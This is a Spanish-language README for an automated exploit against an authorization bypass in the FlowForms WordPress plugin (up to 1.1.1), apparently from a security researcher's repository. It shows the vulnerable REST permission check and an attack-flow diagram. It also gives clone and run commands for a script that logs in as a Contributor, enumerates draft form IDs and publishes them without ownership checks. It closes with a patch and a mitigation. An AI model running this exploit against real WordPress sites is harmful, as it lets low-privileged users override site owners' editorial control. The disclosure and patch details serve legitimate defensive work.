
Exploit automatizado para CVE-2026-11991, una omisión de autorización en el plugin FlowForms de WordPress que permite a usuarios Contributor+ publicar cualquier formulario en borrador mediante solicitudes REST API manipuladas.
Omisión de Autorización Autenticada (Contributor+) para Publicar Cualquier Formulario Borrador en FlowForms ≤ 1.1.1
| Propiedad | Valor |
|---|---|
| ID CVE | CVE-2026-11991 |
| Puntuación CVSS | 6.2 — Media |
| Vector CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Omisión de Autorización Mediante Clave Controlada por el Usuario) |
| Producto | FlowForms — Plugin de WordPress para Constructor de Formularios Conversacionales |
| Afectado | Todas las versiones hasta la 1.1.1 inclusive |
| Corregido en | 1.1.2 |
| Investigador | Phantom Hat |
Estudio de caso completo de caja blanca con análisis de código fuente, trazado del flujo de entrada y comparación de parches:
FlowForms expone una API REST bajo el espacio de nombres flowforms/v1. El endpoint de publicación:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
acepta un {id} controlado por el usuario en la ruta URL y promueve un formulario borrador al sitio en vivo.
El permission_callback para la ruta /publish realiza únicamente una comprobación genérica de capacidades:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts es una capacidad que poseen los Contributors — un rol al que WordPress restringe intencionalmente la publicación de contenido. No existe ninguna verificación de propiedad contra el form_id objetivo. Cualquier usuario autenticado puede publicar cualquier formulario borrador en el sitio.
Atacante (Contributor) API REST de FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) Autenticarse como Contributor
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Obtener nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerar formularios borrador
│<─ "Form Not Published" ───────────│ (respuesta no autenticada)
│ │
│── POST /flowforms/v1/forms/ │ (4) Activar publicación en
│ {id}/publish ─────────────>│ cualquier ID de formulario borrador
│ │ ← sin verificación de propietario
│<─ { "success": true } ────────────│
│ │
│ El formulario ahora está EN VIVO │ (5) El borrador omite el
│ en el sitio sin aprobación │ flujo de trabajo editorial
│ editorial │
Contributor en el sitio objetivogit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Parámetro | Descripción | Obligatorio |
|---|---|---|
--url | URL de WordPress objetivo | ✅ |
--user | Nombre de usuario de WordPress (Contributor+) | ✅ |
--password | Contraseña de WordPress | ✅ |
--num_forms | Número de IDs de formularios a enumerar | ✅ |
--id_start | ID de formulario inicial para la enumeración | ✅ |
--proxy | URL del proxy (p. ej. http://127.0.0.1:8080) | ❌ |
El exploit realiza tres pasos automatizados:
Paso 1 — Autenticación
Inicia sesión como el atacante (Contributor) y obtiene un nonce válido de la API REST desde wp-admin.
Paso 2 — Enumeración de Borradores
Escanea GET /flowform/{id} en el rango de IDs especificado. Los formularios que devuelven "Form Not Published" se recopilan como objetivos — estos son formularios borrador sobre los que el atacante no tiene propiedad.
Paso 3 — Publicación
Envía POST /flowforms/v1/forms/{id}/publish con el nonce del atacante. El endpoint acepta la solicitud, promueve el borrador y hace que el formulario esté en vivo — sin ninguna comprobación de autorización sobre la propiedad.
| Acción | Detalles |
|---|---|
| Parche | Reemplazar la comprobación genérica edit_posts por current_user_can('edit_post', $form_id) — el segundo argumento vincula la comprobación de capacidad al objeto de publicación específico, aplicando las reglas de propiedad de WordPress |
| Mitigación | Hasta que se aplique el parche, restringir los roles Contributor y Author si el plugin está activo |
// VULNERABLE
'permission_callback' => fn() => current_user_can('edit_posts'),
// SEGURO (parcheado)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),